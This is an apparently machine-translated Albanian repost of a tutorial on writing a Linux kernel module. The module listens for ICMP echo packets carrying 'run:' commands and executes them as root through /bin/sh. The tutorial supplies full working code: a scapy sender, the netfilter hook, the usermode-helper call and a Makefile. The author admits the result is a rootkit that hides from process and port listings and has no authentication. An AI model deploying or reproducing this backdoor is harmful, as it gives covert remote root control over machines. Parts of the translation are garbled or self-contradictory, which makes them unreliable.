Shell bërthamor mbi ICMP

Shell bërthamor mbi ICMP

TL;DR: po zhvilloj një modul bërthamor që do të lexojë komandat nga payload-i ICMP dhe do t'i ekzekutojë ato në server, edhe në rastin kur SSH-ja juaj është rënë. Për ata që nuk kanë durim, kodi i plotë ndodhet në github.

Kujdes! Programuesit e avancuar në C rrezikojnë të qajnë me lot të gjakosur! Mund të gaboj në terminologjinë, por çdo kritikë është e mirëpritur. Postimi është i orientuar ndaj atyre që kanë një ide të përafërt për programimin në C dhe duan të shikojnë brendësinë e Linux.

Në komentet për postimin tim të parë artikulli ynë u përmend SoftEther VPN, e cila di të mimikrojë disa protokolle 'të zakonshme', veçanërisht HTTPS, ICMP dhe madje DNS. E para për të cilën e imitoj punën është HTTPS, pasi njoh mirë HTTP(S), ndërsa tunelimin mbi ICMP dhe DNS e kam mësuar.

Shell bërthamor mbi ICMP

Po, në vitin 2020 mësova se mund të vendosësh payload të rastësishëm në paketat ICMP. Por është më mirë vonë se kurrë! Dhe meqë mund të bëhet diçka me këtë, atëherë duhet të veprojmë. Duke qenë se në përditshmërinë time përdor më shpesh linjë komandash, përfshirë edhe përmes SSH, ideja e një shell-i ICMP më erdhi në mendje si fillim. Dhe për të përmbledhur këtë lëndë tërësisht, vendosa ta shkruaj si një modul Linux në një gjuhë për të cilën kam vetëm një ide të përafërt. Ky shell nuk do të shfaqet në listën e proceseve, mund të ngarkohet në bërthamë dhe nuk do të jetë i pranishëm në sistemin e skedarëve, nuk do të shihni asgjë të dyshimtë në listën e porteve të dëgjuara. Në funksionalitetin e tij, ky është një rootkit i plotë, por shpresoj ta përfundoj dhe ta përdor si një shell të fundit të shpresës, kur Load Average është shumë i lartë për të hyrë përmes SSH dhe për të ekzekutuar echo i > /proc/sysrq-trigger, për të rikthyer aksesin pa e rinstaluar.

Marrim njĂ« editor teksti, aftĂ«si tĂ« bazuara nĂ« programimin nĂ« Python dhe C, Google dhe njĂ« virtual machine tĂ« cilin nuk e kem tĂ« shtrenjtĂ« pĂ«r ta shuar nĂ«se gjithçka shkatĂ«rrohet (opsional – VirtualBox/KVM/etj.) dhe fillojmĂ«!

Pjesa e klientit

Më dukej se për pjesën klienti do të duhet të shkruaj një skript prej rreth 80 linjash, por gjetën njerëz që e bënë për mua të gjithë punën. Kodi doli të ishte befasueshëm i thjeshtë, zë 10 linja me rëndësi:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Përdorimi: {} IP "komand"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Skripti pranon dy argumente, adresën dhe payload-in. Para dërgimit, payload-i paraprihet nga çelësi run:, do ta nevojitet për të përjashtuar paketat me ngarkesë të rastit.

Nuk është e nevojshme për privilegje për të krijuar paketa, prandaj skripti duhet të ekzekutohet me të drejta superpërdoruesi. Mos harro t'i japësh të drejtat e ekzekutimit dhe të instaloshshtë scapy vetë. Në Debian ka një paketë të quajtur python3-scapy. Tani mund të verifikojmë se si funksionon gjithçka.

Ekzekutimi dhe dalja e komandës
morq@laptop:~\/icmpshell$ sudo .\/send.py 45.11.26.232 "Hello, world!"
Filloni emetimin:
.Përfundoi dërgimi i 1 paketave.
*
Mori 2 paketa, mori 1 përgjigje, mbetën 0 paketa
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Kështu duket në sniffere
morq@laptop:~\/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Po shkruan si përdorues "root" dhe grupi "root". Kjo mund të jetë e rrezikshme.
Kapja në 'wlp1s0'
Korniza 1: 59 byte në tel (472 bits), 59 byte të kapura (472 bits) në ndërfaqen wlp1s0, id 0
Protokolli i Internetit Versioni 4, Src: 192.168.0.240, Dst: 45.11.26.232
Protokolli i Mesazheve të Kontrollit të Internetit
Tipi: 8 (Kërkesë Echo (ping))
Kodi: 0
Kontrolli: 0xd603 [i saktë]
[Statusi i Kontrollit: I Mirë]
Identifikuesi (BE): 0 (0x0000)
Identifikuesi (LE): 0 (0x0000)
Numri i rradhës (BE): 0 (0x0000)
Numri i rradhës (LE): 0 (0x0000)
Të dhënat (17 byte)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Të dhënat: 72756e3a48656c6c6f2c20776f726c6421
[Gjatësia: 17]

Frame 2: 59 bytes në rrjet (472 bits), 59 bytes të kapura (472 bits) në ndërfaqen wlp1s0, id 0
Protokolli i Internetit Versioni 4, Src: 45.11.26.232, Dst: 192.168.0.240
Protokolli i Mesazheve të Kontrollit të Internetit
Tipi: 0 (Përgjigje Echo (ping))
Kodi: 0
Kontrolli: 0xde03 [i saktë]
[Statusi i Kontrollit: I Mirë]
Identifikuesi (BE): 0 (0x0000)
Identifikuesi (LE): 0 (0x0000)
Numri i rradhës (BE): 0 (0x0000)
Numri i rradhës (LE): 0 (0x0000)
[Korniza e kërkesës: 1]
[Koha e përgjigjes: 19.094 ms]
Të dhënat (17 byte)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Të dhënat: 72756e3a48656c6c6f2c20776f726c6421
[Gjatësia: 17]

^C2 paketa të kapura

Ngarkesa në paketën me përgjigje nuk ndryshon.

Moduli i bërthamës

Për ndërtimin në një VM me Debian, do të nevojiten të paktën make dhe linux-headers-amd64, gjëra të tjera do të tërhiqen si varësi. Nuk do ta jap kodin e plotë në artikull, mund ta klonosh në GitHub.

Konfigurimi i hookut

Së pari, nevojiten dy funksione për të ngarkuar modulin dhe për ta shkarkuar atë. Funksioni për shkarkimin nuk është i domosdoshëm, por atëherë rmmod nuk do të mund të ekzekutohet, moduli do të shkarkohet vetëm kur të fiket.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

ÇfarĂ« po ndodh kĂ«tu:

  1. Duhen dy skedarë titujsh për manipulimin me modulin dhe me netfilter.
  2. Të gjitha operacionet kalojnë përmes netfilter, në të mund të deklarohen hooke. Për këtë duhet të deklarohet struktura, në të cilën do të konfigurohet hooku. Më e rëndësishmja është të tregosh funksionin që do të ekzekutohet si hook: nfho.hook = icmp_cmd_executor; nuk kam arritur ende te funksioni vetë.
    Më pas, kam caktuar momentin e përpunimit të paketës: NF_INET_PRE_ROUTING përcakton të përpunojmë paketën kur ajo sapo është shfaqur në bërthamë. Mund të përdoret NF_INET_POST_ROUTING për të përpunuar paketën që po del nga bërthama.
    Vendosi një filtër për IPv4: nfho.pf = PF_INET;.
    Caktoja hookut tim prioritetin më të lartë: nfho.priority = NF_IP_PRI_FIRST;
    Dhe regjistroj strukturën e të dhënave si hook: nf_register_net_hook(&init_net, &nfho);
  3. Në funksionin përfundimtar, hooku hiqet.
  4. Licenca është shënuar qartë, që kompiluesi të mos ankohet.
  5. Funksionet module_init() dhe module_exit() përcaktojnë funksione të tjera si funksionin fillestar dhe përfundimtar të punës së modulit.

Shkëputja e ngarkesës

Tani tani duhet të nxjerrim payload-in, kjo doli të ishte detyra më e vështirë. Në bërthama nuk ka funksione të integruara për të punuar me payload-in, mund të analizojmë vetëm titujt e protokolleve më të larta.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == ' ')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = ' ';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == ' ')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

ÇfarĂ« po ndodh:

  1. Duhej të lidhja skedarë shtesë, këtë herë për manipulimin me IP dhe ICMP headers.
  2. Po përcaktoj gjatësinë maksimale të vargut: #define MAX_CMD_LEN 1976. Pse pikërisht kështu? Sepse për më të madhe kompajleri ka probleme! Më kanë sugjeruar të merrem me stek dhe heap, ndonjëherë do ta bëj dhe ndoshta do ta rregulloj kodin. Menjëherë përcaktoj një varg, në të cilin do të jetë komanda: char cmd_string[MAX_CMD_LEN];. Ai duhet të jetë i dukshëm në të gjitha funksionet, për këtë do flas më shumë në pikën 9.
  3. Tani duhet të inicializoj (struct work_struct my_work;) strukturën dhe ta lidh me një tjetër funksion (DECLARE_WORK(my_work, work_handler);). Pse është e nevojshme kjo, do e shpjegoj gjithashtu në pikën nëntë.
  4. Tani shpall një funksion që do të jetë hook. Lloji dhe argumentet e pranuara përcaktohen nga netfilter, ne na intereson vetëm skb. Ky është buffer-i i socket-it, një strukturë themelore të dhënash që përmban të gjitha informacionet në lidhje me paketën.
  5. Për funksionin do të nevojiten dy struktura dhe disa variabla, përfshirë dy iteratorë.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Mund të kalojmë në logjikë. Për funksionimin e modulit nuk nevojiten asnjë paketë përveç ICMP Echo, prandaj analizojmë buffer-in me funksionet e integruara dhe hedhim të gjitha paketat që nuk janë ICMP ose Echo. Kthimi NF_ACCEPT tregon pranimin e paketës, por mund edhe të bllokoni paketat duke kthyer NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Nuk e kam kontrolluar se çfarë do ndodhte pa verifikimin e titujve IP. Dija ime minimale e C-së më thotë: pa kontrollime shtesë patjetër do të ndodhi diçka e tmerrshme. Do të gëzohem nëse më bindni për të kundërtën!

  7. Tani, kur paketa është me llojin e duhur, mund të nxjerrim të dhënat. Pa një funksion të integruar, fillimisht duhet të marrim treguesin në fillim të payload-it. Kjo bëhet në një mënyrë, duhet të marrim treguesin në fillim të titullit ICMP dhe ta lëvizim atë në përmasën e këtij titulli. Për të gjitha përdoret struktura icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Fundamentalja e titullit duhet të përputhet me fundin e ngarkesës në skb, prandaj e marrim atë me mjete bërthamore nga struktura përkatëse: tail = skb_tail_pointer(skb);.

    Shell bërthamor mbi ICMP

    I kam marrë imazhin këtu, mund të lexoni më shumë rreth tamponit të soketit.

  8. Pasi morëm treguesit në fillim dhe në fund, mund të kopjojmë të dhënat në varg cmd_string, ta verifikojmë për prapashtesën run: dhe, ose të heqim paketën në rast se mungon, ose ta shkruajmë përsëri vargun, duke hequr këtë prapashtesë.
  9. Tani gjithçka është gati për të thirrur një menaxher tjetër: schedule_work(&my_work);. Duke qenë se në një thirrje të tillë nuk është e mundur të kaluar një parameter, vargu me komandën duhet të jetë global. schedule_work() do të vendosë funksionin e lidhur me strukturën e dërguar në radhën e përgjithshme të planifikuesit të punëve dhe do të përfundojë, duke lejuar që të mos pritet përfundimi i komandës. Kjo është e nevojshme sepse huka duhet të jetë shumë e shpejtë. Ndryshe, ju, sipas zgjedhjes, nuk do të keni asgjë që të niste ose do të merrni një kernel panic. Duke vonuar është si të jesh i vdekur!
  10. Tani mund të pranojmë paketën me kthim përkatës.

Thirrja e programit në hapësirën e përdoruesit

Ky funksion është më i kuptueshëm. Emri i tij është caktuar në DECLARE_WORK(), tipi dhe argumentet e pranuara nuk janë të rëndësishme. Marrim vargun me komandën dhe e kalojmë plotësisht shell-it. Le të merret me analizimin, kërkimin e binarëve dhe gjithçka tjetër vetë.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Caktojmë argumentet në vargun e vargjeve argv[]. Supozoj se të gjithë e dinë se programet në të vërtetë ekzekutohen kështu, e jo si një varg i vazhdueshëm me hapësira.
  2. Caktojmë variablat e mjedisit. Kam vendosur vetëm PATH me një grup minimal rrugësh, duke supozuar që të gjithë tashmë i kanë të bashkuara /bin me /usr/bin dhe /sbin me /usr/sbin. Rrugët e tjera rrallë kanë rëndësi në praktikë.
  3. Gati, ekzekutojmë! Funksioni i bërthamës call_usermodehelper() merr si input. rruga për binarin, vargu i argumenteve, vargu i variablave të mjedisit. këtu po ashtu supozoj se të gjithë e kuptojnë kuptimin e kalimit të rrugës për skedarin ekzekutiv si një argument të veçantë, por mund të pyesni. Argumenti i fundit tregon nëse do të prisni përfundimin e procesit (UMH_WAIT_PROC), nisjen e procesit (UMH_WAIT_EXEC) ose të prisni fare (UMH_NO_WAIT). Ka gjithashtu UMH_KILLABLE, nuk kam dëshirë të merrem me këtë.

Ndërtimi

Ndërtimi i moduleve të bërthamës bëhet përmes një framework-i të bërthamës. Thirret make brenda një direktorie të veçantë të lidhur me versionin e bërthames (përcaktohet këtu: KERNELDIR:=/lib/modules/$(shell uname -r)/build), dhe vendndodhja e modulit merret nga variabla M në argumente. Në target-at icmpshell.ko dhe clean, ky kornizë përdoret plotësisht. Në obj-m specifikohet skedari objekt, i cili do të përkthehet në një modul. Sintaksa, e cila përkthehet main.o në icmpshell.o (icmpshell-objs = main.o) për mua duket jo shumë logjike, por le të jetë kështu.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Po mbledhim: make. Po ngarkojmĂ«: insmod icmpshell.ko. ËshtĂ« pĂ«rfunduar, mund tĂ« kontrolloni: sudo ./send.py 45.11.26.232 "date > /tmp/test". NĂ«se nĂ« makinĂ«n tuaj Ă«shtĂ« shfaqur njĂ« skedĂ«r /tmp/test dhe nĂ« tĂ« ndodhet data e dĂ«rgimit tĂ« kĂ«rkesĂ«s, atĂ«herĂ« e keni bĂ«rĂ« gjithçka siç duhet dhe unĂ« e kam bĂ«rĂ« gjithashtu.

Përfundim

Përvoja ime e parë në zhvillimin e bërthamave u tregua shumë më e lehtë se sa e prisja. Edhe pa pasur përvojë në zhvillimin në C, duke u mbështetur në sugjerimet e kompajlerit dhe rezultatet nga Google, arrita të shkruaj një modul funksional dhe të ndjehem si një haker bërthamor, dhe njëkohësisht si një script-kid. Përveç kësaj, vizitova kanalin Kernel Newbies, ku më sugjeruan të përdor schedule_work() në vend të thirrjeve call_usermodehelper() brenda vetë ngacmimit dhe më përgënjeshtruan, të justifikuar dyshonin për një skem. Njëqind rreshta kodi më kushtuan rreth një jave zhvillimi në kohën time të lirë. Një përvojë e suksesshme, që shkatërroi mitin tim personal për kompleksitetin e papërballueshëm të zhvillimit sistemor.

Nëse ndokush do të pranojë të bëjë një rishikim të kodit në GitHub, do të isha mirënjohës. Jam pothuajse i sigurt se kam bërë shumë gabime të zakonshme, sidomos në punën me vargjet.

Shell bërthamor mbi ICMP

Burimi: habr.com

Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster